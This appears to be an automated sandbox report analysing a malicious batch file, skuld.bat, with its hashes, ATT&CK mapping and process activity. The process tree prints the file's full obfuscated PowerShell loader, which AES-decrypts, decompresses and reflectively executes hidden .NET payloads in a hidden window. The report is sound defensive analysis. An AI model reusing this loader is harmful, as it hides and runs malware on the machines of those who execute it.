edd80a73c65730613d5eda3a78a5a79d7acf9c93b054882ff0f57f0cddfae36c

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
29/06/2024, 05:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

skuld.bat
Size

26.0MB
MD5

b6043c62279ba9658cb83d9a25e5a23b
SHA1

f707fc5bb01d16e151fe115dccc730819a81da88
SHA256

edd80a73c65730613d5eda3a78a5a79d7acf9c93b054882ff0f57f0cddfae36c
SHA512

273c82e5f1a80d810874fcea5e03527bf0fe39663a875444ae15194a535b5ba37340193074abcb7534a17d0a99e52b77029a7a659505f488ec8717db54db7d69
SSDEEP

49152:Mh3gBzuxsw5ZfN2roFEHsPlg2pTVDOlNtcU62VVQ4OnlDmhJaER7dZ0bGm47Nb9T:Me

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2508	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2508	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 2892	2856	cmd.exe	29
PID 2856 wrote to memory of 2892	2856	cmd.exe	29
PID 2856 wrote to memory of 2892	2856	cmd.exe	29
PID 2856 wrote to memory of 2508	2856	cmd.exe	30
PID 2856 wrote to memory of 2508	2856	cmd.exe	30
PID 2856 wrote to memory of 2508	2856	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\skuld.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9HW8+LZ7W8Iu3u/y2KrXmy8AoR48YEg4UVvE8kTk/+U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3WrT9EO2jZTElsL/+FG+Ng=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $oCVli=New-Object System.IO.MemoryStream(,$param_var); $LCoEj=New-Object System.IO.MemoryStream; $umAPC=New-Object System.IO.Compression.GZipStream($oCVli, [IO.Compression.CompressionMode]::Decompress); $umAPC.CopyTo($LCoEj); $umAPC.Dispose(); $oCVli.Dispose(); $LCoEj.Dispose(); $LCoEj.ToArray();}function execute_function($param_var,$param2_var){ $tcHJz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ndESF=$tcHJz.EntryPoint; $ndESF.Invoke($null, $param2_var);}$rXqmw = 'C:\Users\Admin\AppData\Local\Temp\skuld.bat';$host.UI.RawUI.WindowTitle = $rXqmw;$daRKi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($rXqmw).Split([Environment]::NewLine);foreach ($cjVQB in $daRKi) { if ($cjVQB.StartsWith('FWhwVisqZfAwLTGwgtXB')) { $EMjoX=$cjVQB.Substring(20); break; }}$payloads_var=[string[]]$EMjoX.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2508-4-0x000007FEF4DAE000-0x000007FEF4DAF000-memory.dmp

Filesize
4KB

Download
memory/2508-5-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2508-6-0x00000000029E0000-0x00000000029E8000-memory.dmp

Filesize
32KB

Download
memory/2508-7-0x000007FEF4AF0000-0x000007FEF548D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-8-0x000007FEF4AF0000-0x000007FEF548D000-memory.dmp

Filesize
9.6MB

Download
memory/2508-9-0x000007FEF4AF0000-0x000007FEF548D000-memory.dmp

Filesize
9.6MB

Download